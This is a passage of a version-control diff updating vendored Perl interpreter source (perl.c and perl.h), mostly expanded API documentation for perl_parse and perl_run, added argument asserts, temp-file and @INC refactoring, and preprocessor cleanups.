+=for apidoc Am|int|perl_parse|PerlInterpreter *my_perl|XSINIT_t xsinit|int argc|char **argv|char **env
 
-Tells a Perl interpreter to parse a Perl script.  See L<perlembed>.
+Tells a Perl interpreter to parse a Perl script.  This performs most
+of the initialisation of a Perl interpreter.  See L<perlembed> for
+a tutorial.
 
+C<my_perl> points to the Perl interpreter that is to parse the script.
+It must have been previously created through the use of L</perl_alloc>
+and L</perl_construct>.  C<xsinit> points to a callback function that
+will be called to set up the ability for this Perl interpreter to load
+XS extensions, or may be null to perform no such setup.
+
+C<argc> and C<argv> supply a set of command-line arguments to the Perl
+interpreter, as would normally be passed to the C<main> function of
+a C program.  C<argv[argc]> must be null.  These arguments are where
+the script to parse is specified, either by naming a script file or by
+providing a script in a C<-e> option.
+If L<C<$0>|perlvar/$0> will be written to in the Perl interpreter, then
+the argument strings must be in writable memory, and so mustn't just be
+string constants.
+
+C<env> specifies a set of environment variables that will be used by
+this Perl interpreter.  If non-null, it must point to a null-terminated
+array of environment strings.  If null, the Perl interpreter will use
+the environment supplied by the C<environ> global variable.
+
+This function initialises the interpreter, and parses and compiles the
+script specified by the command-line arguments.  This includes executing
+code in C<BEGIN>, C<UNITCHECK>, and C<CHECK> blocks.  It does not execute
+C<INIT> blocks or the main program.
+
+Returns an integer of slightly tricky interpretation.  The correct
+use of the return value is as a truth value indicating whether there
+was a failure in initialisation.  If zero is returned, this indicates
+that initialisation was successful, and it is safe to proceed to call
+L</perl_run> and make other use of it.  If a non-zero value is returned,
+this indicates some problem that means the interpreter wants to terminate.
+The interpreter should not be just abandoned upon such failure; the caller
+should proceed to shut the interpreter down cleanly with L</perl_destruct>
+and free it with L</perl_free>.
+
+For historical reasons, the non-zero return value also attempts to
+be a suitable value to pass to the C library function C<exit> (or to
+return from C<main>), to serve as an exit code indicating the nature
+of the way initialisation terminated.  However, this isn't portable,
+due to differing exit code conventions.  A historical bug is preserved
+for the time being: if the Perl built-in C<exit> is called during this
+function's execution, with a type of exit entailing a zero exit code
+under the host operating system's conventions, then this function
+returns zero rather than a non-zero value.  This bug, [perl #2754],
+leads to C<perl_run> being called (and therefore C<INIT> blocks and the
+main program running) despite a call to C<exit>.  It has been preserved
+because a popular module-installing module has come to rely on it and
+needs time to be fixed.  This issue is [perl #132577], and the original
+bug is due to be fixed in Perl 5.30.
+
 =cut
 */
 
@@ -1537,7 +1641,7 @@
 #ifndef MULTIPLICITY
     PERL_UNUSED_ARG(my_perl);
 #endif
-#if (defined(USE_HASH_SEED) || defined(USE_HASH_SEED_EXPLICIT) || defined(USE_HASH_SEED_DEBUG)) && !defined(NO_PERL_HASH_SEED_DEBUG)
+#if (defined(USE_HASH_SEED) || defined(USE_HASH_SEED_DEBUG)) && !defined(NO_PERL_HASH_SEED_DEBUG)
     {
         const char * const s = PerlEnv_getenv("PERL_HASH_SEED_DEBUG");
 
@@ -1556,7 +1660,7 @@
             PerlIO_printf(Perl_debug_log, "\n");
         }
     }
-#endif /* #if (defined(USE_HASH_SEED) || defined(USE_HASH_SEED_EXPLICIT) ... */
+#endif /* #if (defined(USE_HASH_SEED) ... */
 
 #ifdef __amigaos4__
     {
@@ -1565,6 +1669,13 @@
     }
 #endif
 
+    {
+	int i;
+	assert(argc >= 0);
+	for(i = 0; i != argc; i++)
+	    assert(argv[i]);
+	assert(!argv[argc]);
+    }
     PL_origargc = argc;
     PL_origargv = argv;
 
@@ -1716,6 +1827,15 @@
 	    call_list(oldscope, PL_checkav);
 	}
 	ret = STATUS_EXIT;
+	if (ret == 0) {
+	    /*
+	     * At this point we should do
+	     *     ret = 0x100;
+	     * to avoid [perl #2754], but that bugfix has been postponed
+	     * because of the Module::Install breakage it causes
+	     * [perl #132577].
+	     */
+	}
 	break;
     case 3:
 	PerlIO_printf(Perl_error_log, "panic: top_env\n");
@@ -1842,9 +1962,6 @@
 #  ifdef USE_FAST_STDIO
 			     " USE_FAST_STDIO"
 #  endif	       
-#  ifdef USE_HASH_SEED_EXPLICIT
-			     " USE_HASH_SEED_EXPLICIT"
-#  endif
 #  ifdef USE_LOCALE
 			     " USE_LOCALE"
 #  endif
@@ -2160,6 +2277,21 @@
     }
     }
 
+#ifndef NO_PERL_INTERNAL_RAND_SEED
+    /* If we're not set[ug]id, we might have honored
+       PERL_INTERNAL_RAND_SEED in perl_construct().
+       At this point command-line options have been parsed, so if
+       we're now tainting and not set[ug]id re-seed.
+       This could possibly be wasteful if PERL_INTERNAL_RAND_SEED is invalid,
+       but avoids duplicating the logic from perl_construct().
+    */
+    if (PL_tainting &&
+        PerlProc_getuid() == PerlProc_geteuid() &&
+        PerlProc_getgid() == PerlProc_getegid()) {
+        Perl_drand48_init_r(&PL_internal_random_state, seed());
+    }
+#endif
+
     /* Set $^X early so that it can be used for relocatable paths in @INC  */
     /* and for SITELIB_EXP in USE_SITECUSTOMIZE                            */
     assert (!TAINT_get);
@@ -2413,10 +2545,48 @@
 }
 
 /*
-=for apidoc perl_run
+=for apidoc Am|int|perl_run|PerlInterpreter *my_perl
 
-Tells a Perl interpreter to run.  See L<perlembed>.
+Tells a Perl interpreter to run its main program.  See L<perlembed>
+for a tutorial.
 
+C<my_perl> points to the Perl interpreter.  It must have been previously
+created through the use of L</perl_alloc> and L</perl_construct>, and
+initialised through L</perl_parse>.  This function should not be called
+if L</perl_parse> returned a non-zero value, indicating a failure in
+initialisation or compilation.
+
+This function executes code in C<INIT> blocks, and then executes the
+main program.  The code to be executed is that established by the prior
+call to L</perl_parse>.  If the interpreter's C<PL_exit_flags> word
+does not have the C<PERL_EXIT_DESTRUCT_END> flag set, then this function
+will also execute code in C<END> blocks.  If it is desired to make any
+further use of the interpreter after calling this function, then C<END>
+blocks should be postponed to L</perl_destruct> time by setting that flag.
+
+Returns an integer of slightly tricky interpretation.  The correct use
+of the return value is as a truth value indicating whether the program
+terminated non-locally.  If zero is returned, this indicates that
+the program ran to completion, and it is safe to make other use of the
+interpreter (provided that the C<PERL_EXIT_DESTRUCT_END> flag was set as
+described above).  If a non-zero value is returned, this indicates that
+the interpreter wants to terminate early.  The interpreter should not be
+just abandoned because of this desire to terminate; the caller should
+proceed to shut the interpreter down cleanly with L</perl_destruct>
+and free it with L</perl_free>.
+
+For historical reasons, the non-zero return value also attempts to
+be a suitable value to pass to the C library function C<exit> (or to
+return from C<main>), to serve as an exit code indicating the nature of
+the way the program terminated.  However, this isn't portable, due to
+differing exit code conventions.  An attempt is made to return an exit
+code of the type required by the host operating system, but because
+it is constrained to be non-zero, it is not necessarily possible to
+indicate every type of exit.  It is only reliable on Unix, where a zero
+exit code can be augmented with a set bit that will be ignored.  In any
+case, this function is not the correct place to acquire an exit code:
+one should get that from L</perl_destruct>.
+
 =cut
 */
 
@@ -2635,6 +2805,9 @@
 
     PERL_ARGS_ASSERT_GET_CVN_FLAGS;
 
+    if (gv && UNLIKELY(SvROK(gv)) && SvTYPE(SvRV((SV *)gv)) == SVt_PVCV)
+	return (CV*)SvRV((SV *)gv);
+
     /* XXX this is probably not what they think they're getting.
      * It has the same effect as "sub name;", i.e. just a forward
      * declaration! */
@@ -2761,7 +2934,7 @@
 */
 
 I32
-Perl_call_sv(pTHX_ SV *sv, VOL I32 flags)
+Perl_call_sv(pTHX_ SV *sv, volatile I32 flags)
           		/* See G_* flags in cop.h */
 {
     dVAR;
@@ -2768,7 +2941,7 @@
     LOGOP myop;		/* fake syntax tree node */
     METHOP method_op;
     I32 oldmark;
-    VOL I32 retval = 0;
+    volatile I32 retval = 0;
     bool oldcatch = CATCH_GET;
     int ret;
     OP* const oldop = PL_op;
@@ -2916,8 +3089,8 @@
 {
     dVAR;
     UNOP myop;		/* fake syntax tree node */
-    VOL I32 oldmark;
-    VOL I32 retval = 0;
+    volatile I32 oldmark;
+    volatile I32 retval = 0;
     int ret;
     OP* const oldop = PL_op;
     dJMPENV;
@@ -3334,12 +3507,6 @@
 
     case 'i':
 	Safefree(PL_inplace);
-#if defined(__CYGWIN__) /* do backup extension automagically */
-	if (*(s+1) == '\0') {
-	PL_inplace = savepvs(".bak");
-	return s+1;
-	}
-#endif /* __CYGWIN__ */
 	{
 	    const char * const start = ++s;
 	    while (*s && !isSPACE(*s))
@@ -3593,7 +3760,7 @@
 #endif
 
 	PerlIO_printf(PIO_stdout,
-		      "\n\nCopyright 1987-2017, Larry Wall\n");
+		      "\n\nCopyright 1987-2018, Larry Wall\n");
 #ifdef MSDOS
 	PerlIO_printf(PIO_stdout,
 		      "\nMS-DOS port Copyright (c) 1989, 1990, Diomidis Spinellis\n");
@@ -3716,8 +3883,9 @@
 S_init_main_stash(pTHX)
 {
     GV *gv;
+    HV *hv = newHV();
 
-    PL_curstash = PL_defstash = (HV *)SvREFCNT_inc_simple_NN(newHV());
+    PL_curstash = PL_defstash = (HV *)SvREFCNT_inc_simple_NN(hv);
     /* We know that the string "main" will be in the global shared string
        table, so it's a small saving to use it rather than allocate another
        8 bytes.  */
@@ -3752,7 +3920,6 @@
 #endif
     sv_grow(ERRSV, 240);	/* Preallocate - for immediate signals. */
     CLEAR_ERRSV();
-    SET_CURSTASH(PL_defstash);
     CopSTASH_set(&PL_compiling, PL_defstash);
     PL_debstash = GvHV(gv_fetchpvs("DB::", GV_ADDMULTI, SVt_PVHV));
     PL_globalstash = GvHV(gv_fetchpvs("CORE::GLOBAL::", GV_ADDMULTI,
@@ -3780,7 +3947,7 @@
 	/* if find_script() returns, it returns a malloc()-ed value */
 	scriptname = PL_origfilename = find_script(scriptname, dosearch, NULL, 1);
 
-	if (strEQs(scriptname, "/dev/fd/")
+	if (strBEGINs(scriptname, "/dev/fd/")
             && isDIGIT(scriptname[8])
             && grok_atoUV(scriptname + 8, &uv, &s)
             && uv <= PERL_INT_MAX
@@ -3842,29 +4009,19 @@
 	};
 	const char * const err = "Failed to create a fake bit bucket";
 	if (strEQ(scriptname, BIT_BUCKET)) {
-#ifdef HAS_MKSTEMP /* Hopefully mkstemp() is safe here. */
-            int old_umask = umask(0177);
-	    int tmpfd = mkstemp(tmpname);
-            umask(old_umask);
+	    int tmpfd = Perl_my_mkstemp_cloexec(tmpname);
 	    if (tmpfd > -1) {
 		scriptname = tmpname;
 		close(tmpfd);
 	    } else
 		Perl_croak(aTHX_ err);
-#else
-#  ifdef HAS_MKTEMP
-	    scriptname = mktemp(tmpname);
-	    if (!scriptname)
-		Perl_croak(aTHX_ err);
-#  endif
-#endif
 	}
 #endif
 	rsfp = PerlIO_open(scriptname,PERL_SCRIPT_MODE);
 #ifdef FAKE_BIT_BUCKET
-	if (memEQ(scriptname, FAKE_BIT_BUCKET_PREFIX,
-		  sizeof(FAKE_BIT_BUCKET_PREFIX) - 1)
-	    && strlen(scriptname) == sizeof(tmpname) - 1) {
+        if (   strBEGINs(scriptname, FAKE_BIT_BUCKET_PREFIX)
+	    && strlen(scriptname) == sizeof(tmpname) - 1)
+        {
 	    unlink(scriptname);
 	}
 	scriptname = BIT_BUCKET;
@@ -3879,15 +4036,6 @@
 		    CopFILE(PL_curcop), Strerror(errno));
     }
     fd = PerlIO_fileno(rsfp);
-#if defined(HAS_FCNTL) && defined(F_SETFD) && defined(FD_CLOEXEC)
-    if (fd >= 0) {
-        /* ensure close-on-exec */
-        if (fcntl(fd, F_SETFD, FD_CLOEXEC) < 0) {
-            Perl_croak(aTHX_ "Can't open perl script \"%s\": %s\n",
-                       CopFILE(PL_curcop), Strerror(errno));
-        }
-    }
-#endif
 
     if (fd < 0 ||
         (PerlLIO_fstat(fd, &tmpstatbuf) >= 0
@@ -3899,12 +4047,20 @@
     return rsfp;
 }
 
-/* Mention
+/* In the days of suidperl, we refused to execute a setuid script stored on
+ * a filesystem mounted nosuid and/or noexec. This meant that we probed for the
+ * existence of the appropriate filesystem-statting function, and behaved
+ * accordingly. But even though suidperl is long gone, we must still include
+ * those probes for the benefit of modules like Filesys::Df, which expect the
+ * results of those probes to be stored in %Config; see RT#126368. So mention
+ * the relevant cpp symbols here, to ensure that metaconfig will include their
+ * probes in the generated Configure:
+ *
  * I_SYSSTATVFS	HAS_FSTATVFS
  * I_SYSMOUNT
  * I_STATFS	HAS_FSTATFS	HAS_GETFSSTAT
  * I_MNTENT	HAS_GETMNTENT	HAS_HASMNTOPT
- * here so that metaconfig picks them up. */
+ */
 
 
 #ifdef SETUID_SCRIPTS_ARE_SECURE_NOW
@@ -3961,7 +4117,7 @@
     if (*s++ == '-') {
 	while (isDIGIT(s2[-1]) || s2[-1] == '-' || s2[-1] == '.'
 	       || s2[-1] == '_') s2--;
-	if (strEQs(s2-4,"perl"))
+	if (strBEGINs(s2-4,"perl"))
 	    while ((s = moreswitches(s)))
 		;
     }
@@ -4137,6 +4293,9 @@
     PL_curstackinfo = new_stackinfo(REASONABLE(128),
 				 REASONABLE(8192/sizeof(PERL_CONTEXT) - 1));
     PL_curstackinfo->si_type = PERLSI_MAIN;
+#if defined DEBUGGING && !defined DEBUGGING_RE_ONLY
+    PL_curstackinfo->si_stack_hwm = 0;
+#endif
     PL_curstack = PL_curstackinfo->si_stack;
     PL_mainstack = PL_curstack;		/* remember in case we switch stacks */
 
@@ -4510,136 +4669,24 @@
     /* miniperl gets just -I..., the split of $ENV{PERL5LIB}, and "." in @INC
        (and not the architecture specific directories from $ENV{PERL5LIB}) */
 
+#include "perl_inc_macro.h"
 /* Use the ~-expanded versions of APPLLIB (undocumented),
     SITEARCH, SITELIB, VENDORARCH, VENDORLIB, ARCHLIB and PRIVLIB
 */
-#ifdef APPLLIB_EXP
-    S_incpush_use_sep(aTHX_ STR_WITH_LEN(APPLLIB_EXP),
-		      INCPUSH_ADD_SUB_DIRS|INCPUSH_CAN_RELOCATE);
-#endif
+    INCPUSH_APPLLIB_EXP
+    INCPUSH_SITEARCH_EXP
+    INCPUSH_SITELIB_EXP
+    INCPUSH_PERL_VENDORARCH_EXP
+    INCPUSH_PERL_VENDORLIB_EXP
+    INCPUSH_ARCHLIB_EXP
+    INCPUSH_PRIVLIB_EXP
+    INCPUSH_PERL_OTHERLIBDIRS
+    INCPUSH_PERL5LIB
+    INCPUSH_APPLLIB_OLD_EXP
+    INCPUSH_SITELIB_STEM
+    INCPUSH_PERL_VENDORLIB_STEM
+    INCPUSH_PERL_OTHERLIBDIRS_ARCHONLY
 
-#ifdef SITEARCH_EXP
-    /* sitearch is always relative to sitelib on Windows for
-     * DLL-based path intuition to work correctly */
-#  if !defined(WIN32)
-	S_incpush_use_sep(aTHX_ STR_WITH_LEN(SITEARCH_EXP),
-			  INCPUSH_CAN_RELOCATE);
-#  endif
-#endif
-
-#ifdef SITELIB_EXP
-#  if defined(WIN32)
-    /* this picks up sitearch as well */
-	s = PerlEnv_sitelib_path(PERL_FS_VERSION, &len);
-	if (s)
-	    incpush_use_sep(s, len, INCPUSH_ADD_SUB_DIRS|INCPUSH_CAN_RELOCATE);
-#  else
-	S_incpush_use_sep(aTHX_ STR_WITH_LEN(SITELIB_EXP), INCPUSH_CAN_RELOCATE);
-#  endif
-#endif
-
-#ifdef PERL_VENDORARCH_EXP
-    /* vendorarch is always relative to vendorlib on Windows for
-     * DLL-based path intuition to work correctly */
-#  if !defined(WIN32)
-    S_incpush_use_sep(aTHX_ STR_WITH_LEN(PERL_VENDORARCH_EXP),
-		      INCPUSH_CAN_RELOCATE);
-#  endif
-#endif
-
-#ifdef PERL_VENDORLIB_EXP
-#  if defined(WIN32)
-    /* this picks up vendorarch as well */
-	s = PerlEnv_vendorlib_path(PERL_FS_VERSION, &len);
-	if (s)
-	    incpush_use_sep(s, len, INCPUSH_ADD_SUB_DIRS|INCPUSH_CAN_RELOCATE);
-#  else
-	S_incpush_use_sep(aTHX_ STR_WITH_LEN(PERL_VENDORLIB_EXP),
-			  INCPUSH_CAN_RELOCATE);
-#  endif
-#endif
-
-#ifdef ARCHLIB_EXP
-    S_incpush_use_sep(aTHX_ STR_WITH_LEN(ARCHLIB_EXP), INCPUSH_CAN_RELOCATE);
-#endif
-
-#ifndef PRIVLIB_EXP
-#  define PRIVLIB_EXP "/usr/local/lib/perl5:/usr/local/lib/perl"
-#endif
-
-#if defined(WIN32)
-    s = PerlEnv_lib_path(PERL_FS_VERSION, &len);
-    if (s)
-	incpush_use_sep(s, len, INCPUSH_ADD_SUB_DIRS|INCPUSH_CAN_RELOCATE);
-#else
-#  ifdef NETWARE
-    S_incpush_use_sep(aTHX_ PRIVLIB_EXP, 0, INCPUSH_CAN_RELOCATE);
-#  else
-    S_incpush_use_sep(aTHX_ STR_WITH_LEN(PRIVLIB_EXP), INCPUSH_CAN_RELOCATE);
-#  endif
-#endif
-
-#ifdef PERL_OTHERLIBDIRS
-    S_incpush_use_sep(aTHX_ STR_WITH_LEN(PERL_OTHERLIBDIRS),
-		      INCPUSH_ADD_VERSIONED_SUB_DIRS|INCPUSH_NOT_BASEDIR
-		      |INCPUSH_CAN_RELOCATE);
-#endif
-
-    if (!TAINTING_get) {
-#ifndef VMS
-/*
- * It isn't possible to delete an environment variable with
- * PERL_USE_SAFE_PUTENV set unless unsetenv() is also available, so in that
- * case we treat PERL5LIB as undefined if it has a zero-length value.
- */
-#if defined(PERL_USE_SAFE_PUTENV) && ! defined(HAS_UNSETENV)
-	if (perl5lib && *perl5lib != '\0')
-#else
-	if (perl5lib)
-#endif
-	    incpush_use_sep(perl5lib, 0,
-			    INCPUSH_ADD_OLD_VERS|INCPUSH_NOT_BASEDIR);
-#else /* VMS */
-	/* Treat PERL5?LIB as a possible search list logical name -- the
-	 * "natural" VMS idiom for a Unix path string.  We allow each
-	 * element to be a set of |-separated directories for compatibility.
-	 */
-	char buf[256];
-	int idx = 0;
-	if (vmstrnenv("PERL5LIB",buf,0,NULL,0))
-	    do {
-		incpush_use_sep(buf, 0,
-				INCPUSH_ADD_OLD_VERS|INCPUSH_NOT_BASEDIR);
-	    } while (vmstrnenv("PERL5LIB",buf,++idx,NULL,0));
-#endif /* VMS */
-    }
-
-/* Use the ~-expanded versions of APPLLIB (undocumented),
-    SITELIB and VENDORLIB for older versions
-*/
-#ifdef APPLLIB_EXP
-    S_incpush_use_sep(aTHX_ STR_WITH_LEN(APPLLIB_EXP), INCPUSH_ADD_OLD_VERS
-		      |INCPUSH_NOT_BASEDIR|INCPUSH_CAN_RELOCATE);
-#endif
-
-#if defined(SITELIB_STEM) && defined(PERL_INC_VERSION_LIST)
-    /* Search for version-specific dirs below here */
-    S_incpush_use_sep(aTHX_ STR_WITH_LEN(SITELIB_STEM),
-		      INCPUSH_ADD_OLD_VERS|INCPUSH_CAN_RELOCATE);
-#endif
-
-
-#if defined(PERL_VENDORLIB_STEM) && defined(PERL_INC_VERSION_LIST)
-    /* Search for version-specific dirs below here */
-    S_incpush_use_sep(aTHX_ STR_WITH_LEN(PERL_VENDORLIB_STEM),
-		      INCPUSH_ADD_OLD_VERS|INCPUSH_CAN_RELOCATE);
-#endif
-
-#ifdef PERL_OTHERLIBDIRS
-    S_incpush_use_sep(aTHX_ STR_WITH_LEN(PERL_OTHERLIBDIRS),
-		      INCPUSH_ADD_OLD_VERS|INCPUSH_ADD_ARCHONLY_SUB_DIRS
-		      |INCPUSH_CAN_RELOCATE);
-#endif
 #endif /* !PERL_IS_MINIPERL */
 
     if (!TAINTING_get) {
@@ -4653,12 +4700,10 @@
 
 #if defined(DOSISH) || defined(__SYMBIAN32__)
 #    define PERLLIB_SEP ';'
+#elif defined(__VMS)
+#    define PERLLIB_SEP PL_perllib_sep
 #else
-#  if defined(__VMS)
-#    define PERLLIB_SEP PL_perllib_sep
-#  else
 #    define PERLLIB_SEP ':'
-#  endif
 #endif
 #ifndef PERLLIB_MANGLE
 #  define PERLLIB_MANGLE(s,n) (s)
@@ -4741,7 +4786,7 @@
 	 */
 	    const char *libpath = SvPVX(libdir);
 	    STRLEN libpath_len = SvCUR(libdir);
-	    if (libpath_len >= 4 && memEQ (libpath, ".../", 4)) {
+	    if (memBEGINs(libpath, libpath_len, ".../")) {
 		/* Game on!  */
 		SV * const caret_X = get_sv("\030", 0);
 		/* Going to use the SV just as a scratch buffer holding a C
@@ -4767,12 +4812,9 @@
 		libpath = SvPVX(libdir);
 		libpath_len = SvCUR(libdir);
 
-		/* This would work more efficiently with memrchr, but as it's
-		   only a GNU extension we'd need to probe for it and
-		   implement our own. Not hard, but maybe not worth it?  */
-
 		prefix = SvPVX(prefix_sv);
-		lastslash = strrchr(prefix, '/');
+		lastslash = (char *) my_memrchr(prefix, '/',
+                             SvEND(prefix_sv) - prefix);
 
 		/* First time in with the *lastslash = '\0' we just wipe off
 		   the trailing /perl from (say) /usr/foo/bin/perl
@@ -4780,8 +4822,11 @@
 		if (lastslash) {
 		    SV *tempsv;
 		    while ((*lastslash = '\0'), /* Do that, come what may.  */
-                           (libpath_len >= 3 && _memEQs(libpath, "../")
-			    && (lastslash = strrchr(prefix, '/')))) {
+                           (   memBEGINs(libpath, libpath_len, "../")
+			    && (lastslash =
+                                  (char *) my_memrchr(prefix, '/',
+                                                   SvEND(prefix_sv) - prefix))))
+                    {
 			if (lastslash[1] == '\0'
 			    || (lastslash[1] == '.'
 				&& (lastslash[2] == '/' /* ends "/."  */
@@ -4984,7 +5029,7 @@
 Perl_call_list(pTHX_ I32 oldscope, AV *paramList)
 {
     SV *atsv;
-    VOL const line_t oldline = PL_curcop ? CopLINE(PL_curcop) : 0;
+    volatile const line_t oldline = PL_curcop ? CopLINE(PL_curcop) : 0;
     CV *cv;
     STRLEN len;
     int ret;
@@ -5159,8 +5204,9 @@
 
 #else
     int exitstatus;
-    if (errno & 255)
-	STATUS_UNIX_SET(errno);
+    int eno = errno;
+    if (eno & 255)
+	STATUS_UNIX_SET(eno);
     else {
 	exitstatus = STATUS_UNIX >> 8;
 	if (exitstatus & 255)
@@ -5202,12 +5248,13 @@
 read_e_script(pTHX_ int idx, SV *buf_sv, int maxlen)
 {
     const char * const p  = SvPVX_const(PL_e_script);
-    const char *nl = strchr(p, '\n');
+    const char * const e  = SvEND(PL_e_script);
+    const char *nl = (char *) memchr(p, '\n', e - p);
 
     PERL_UNUSED_ARG(idx);
     PERL_UNUSED_ARG(maxlen);
 
-    nl = (nl) ? nl+1 : SvEND(PL_e_script);
+    nl = (nl) ? nl+1 : e;
     if (nl-p == 0) {
 	filter_del(read_e_script);
 	return 0;

Modified: vendor/perl/dist/perl.h
===================================================================
--- vendor/perl/dist/perl.h	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/perl.h	2018-12-22 22:55:19 UTC (rev 12126)
@@ -52,7 +52,7 @@
 /* See L<perlguts/"The Perl API"> for detailed notes on
  * PERL_IMPLICIT_CONTEXT and PERL_IMPLICIT_SYS */
 
-/* Note that from here --> to <-- the same logic is
+/* XXX NOTE that from here --> to <-- the same logic is
  * repeated in makedef.pl, so be certain to update
  * both places when editing. */
 
@@ -108,8 +108,9 @@
 #endif
 
 /* Use the reentrant APIs like localtime_r and getpwent_r */
-/* Win32 has naturally threadsafe libraries, no need to use any _r variants. */
-#if defined(USE_ITHREADS) && !defined(USE_REENTRANT_API) && !defined(NETWARE) && !defined(WIN32) && !defined(PERL_DARWIN)
+/* Win32 has naturally threadsafe libraries, no need to use any _r variants.
+ * XXX KEEP makedef.pl copy of this code in sync */
+#if defined(USE_ITHREADS) && !defined(USE_REENTRANT_API) && !defined(NETWARE) && !defined(WIN32)
 #   define USE_REENTRANT_API
 #endif
 
@@ -145,8 +146,7 @@
 #  endif
 #endif
 
-#ifdef PERL_GLOBAL_STRUCT
-#  ifndef PERL_GET_VARS
+#if defined(PERL_GLOBAL_STRUCT) && !defined(PERL_GET_VARS)
 #    ifdef PERL_GLOBAL_STRUCT_PRIVATE
        EXTERN_C struct perl_vars* Perl_GetVarsPrivate();
 #      define PERL_GET_VARS() Perl_GetVarsPrivate() /* see miniperlmain.c */
@@ -153,7 +153,6 @@
 #    else
 #      define PERL_GET_VARS() PL_VarsPtr
 #    endif
-#  endif
 #endif
 
 /* this used to be off by default, now its on, see perlio.h */
@@ -204,6 +203,12 @@
 #  undef PERL_TRACK_MEMPOOL
 #endif
 
+#ifdef DEBUGGING
+#  define dTHX_DEBUGGING dTHX
+#else
+#  define dTHX_DEBUGGING dNOOP
+#endif
+
 #define STATIC static
 
 #ifndef PERL_CORE
@@ -319,7 +324,7 @@
 #endif
 
 #ifndef PERL_UNUSED_DECL
-#  if defined(HASATTRIBUTE_UNUSED) && (!defined(__cplusplus) || (__GNUC__ > 4 || (__GNUC__ == 4 && __GNUC_MINOR__ >= 3)))
+#  if defined(HASATTRIBUTE_UNUSED) && (!defined(__cplusplus) || __GNUC__ >= 4)
 #    define PERL_UNUSED_DECL __attribute__unused__
 #  else
 #    define PERL_UNUSED_DECL
@@ -393,9 +398,9 @@
 /* on gcc (and clang), specify that a warning should be temporarily
  * ignored; e.g.
  *
- *    GCC_DIAG_IGNORE(-Wmultichar);
+ *    GCC_DIAG_IGNORE_DECL(-Wmultichar);
  *    char b = 'ab';
- *    GCC_DIAG_RESTORE;
+ *    GCC_DIAG_RESTORE_DECL;
  *
  * based on http://dbp-consulting.com/tutorials/SuppressingGCCWarnings.html
  *
@@ -402,17 +407,15 @@
  * Note that "pragma GCC diagnostic push/pop" was added in GCC 4.6, Mar 2011;
  * clang only pretends to be GCC 4.2, but still supports push/pop.
  *
- * Note on usage: on non-gcc (or lookalike, like clang) compilers
- * one cannot use these at file (global) level without warnings
- * since they are defined as empty, which leads into the terminating
- * semicolon being left alone on a line:
- * ;
- * which makes compilers mildly cranky.  Therefore at file level one
- * should use the GCC_DIAG_IGNORE and GCC_DIAG_RESTORE_FILE *without*
- * the semicolons.
+ * Note on usage: all macros must be used at a place where a declaration
+ * or statement can occur, i.e., not in the middle of an expression.
+ * *_DIAG_IGNORE() and *_DIAG_RESTORE can be used in any such place, but
+ * must be used without a following semicolon.  *_DIAG_IGNORE_DECL() and
+ * *_DIAG_RESTORE_DECL must be used with a following semicolon, and behave
+ * syntactically as declarations (like dNOOP).  *_DIAG_IGNORE_STMT()
+ * and *_DIAG_RESTORE_STMT must be used with a following semicolon,
+ * and behave syntactically as statements (like NOOP).
  *
- * (A dead-on-arrival solution would be to try to define the macros as
- * NOOP or dNOOP, those don't work both inside functions and outside.)
  */
 
 #if defined(__clang__) || defined(__clang) || \
@@ -426,6 +429,10 @@
 #  define GCC_DIAG_IGNORE(w)
 #  define GCC_DIAG_RESTORE
 #endif
+#define GCC_DIAG_IGNORE_DECL(x) GCC_DIAG_IGNORE(x) dNOOP
+#define GCC_DIAG_RESTORE_DECL GCC_DIAG_RESTORE dNOOP
+#define GCC_DIAG_IGNORE_STMT(x) GCC_DIAG_IGNORE(x) NOOP
+#define GCC_DIAG_RESTORE_STMT GCC_DIAG_RESTORE NOOP
 /* for clang specific pragmas */
 #if defined(__clang__) || defined(__clang)
 #  define CLANG_DIAG_PRAGMA(x) _Pragma (#x)
@@ -436,18 +443,13 @@
 #  define CLANG_DIAG_IGNORE(w)
 #  define CLANG_DIAG_RESTORE
 #endif
+#define CLANG_DIAG_IGNORE_DECL(x) CLANG_DIAG_IGNORE(x) dNOOP
+#define CLANG_DIAG_RESTORE_DECL CLANG_DIAG_RESTORE dNOOP
+#define CLANG_DIAG_IGNORE_STMT(x) CLANG_DIAG_IGNORE(x) NOOP
+#define CLANG_DIAG_RESTORE_STMT CLANG_DIAG_RESTORE NOOP
 
 #define NOOP /*EMPTY*/(void)0
-/* cea2e8a9dd23747f accidentally lost the comment originally from the first
-   check in of thread.h, explaining why we need dNOOP at all:  */
-/* Rats: if dTHR is just blank then the subsequent ";" throws an error */
-/* Declaring a *function*, instead of a variable, ensures that we don't rely
-   on being able to suppress "unused" warnings.  */
-#ifdef __cplusplus
-#define dNOOP (void)0
-#else
-#define dNOOP extern int Perl___notused(void)
-#endif
+#define dNOOP struct Perl___notused_struct
 
 #ifndef pTHX
 /* Don't bother defining tTHX ; using it outside
@@ -562,20 +564,16 @@
 #define DOSISH 1
 #endif
 
-#if defined(__STDC__) || defined(_AIX) || defined(__stdc__) || defined(__cplusplus) || defined(NETWARE) || defined(__SYMBIAN32__)
-# define STANDARD_C 1
+/* These exist only for back-compat with XS modules. */
+#ifndef PERL_CORE
+#define VOL volatile
+#define CAN_PROTOTYPE
+#define _(args) args
+#define I_LIMITS
+#define I_STDARG
+#define STANDARD_C
 #endif
 
-#if defined(__cplusplus) || defined(WIN32) || defined(__sgi) || defined(__EMX__) || defined(__QNX__) || defined(NETWARE) || defined(PERL_MICRO)
-# define DONT_DECLARE_STD 1
-#endif
-
-#if defined(HASVOLATILE) || defined(STANDARD_C)
-#	define VOL volatile
-#else
-#   define VOL
-#endif
-
 /* By compiling a perl with -DNO_TAINT_SUPPORT or -DSILENT_NO_TAINT_SUPPORT,
  * you get a perl without taint support, but doubtlessly with a lesser
  * degree of support. Do not do so unless you know exactly what it means
@@ -643,14 +641,10 @@
 */
 #ifdef HAS_SETPGID
 #  define BSD_SETPGRP(pid, pgrp)	setpgid((pid), (pgrp))
-#else
-#  if defined(HAS_SETPGRP) && defined(USE_BSD_SETPGRP)
-#    define BSD_SETPGRP(pid, pgrp)	setpgrp((pid), (pgrp))
-#  else
-#    ifdef HAS_SETPGRP2  /* DG/UX */
-#      define BSD_SETPGRP(pid, pgrp)	setpgrp2((pid), (pgrp))
-#    endif
-#  endif
+#elif defined(HAS_SETPGRP) && defined(USE_BSD_SETPGRP)
+#  define BSD_SETPGRP(pid, pgrp)	setpgrp((pid), (pgrp))
+#elif defined(HAS_SETPGRP2)
+#  define BSD_SETPGRP(pid, pgrp)	setpgrp2((pid), (pgrp))
 #endif
 #if defined(BSD_SETPGRP) && !defined(HAS_SETPGRP)
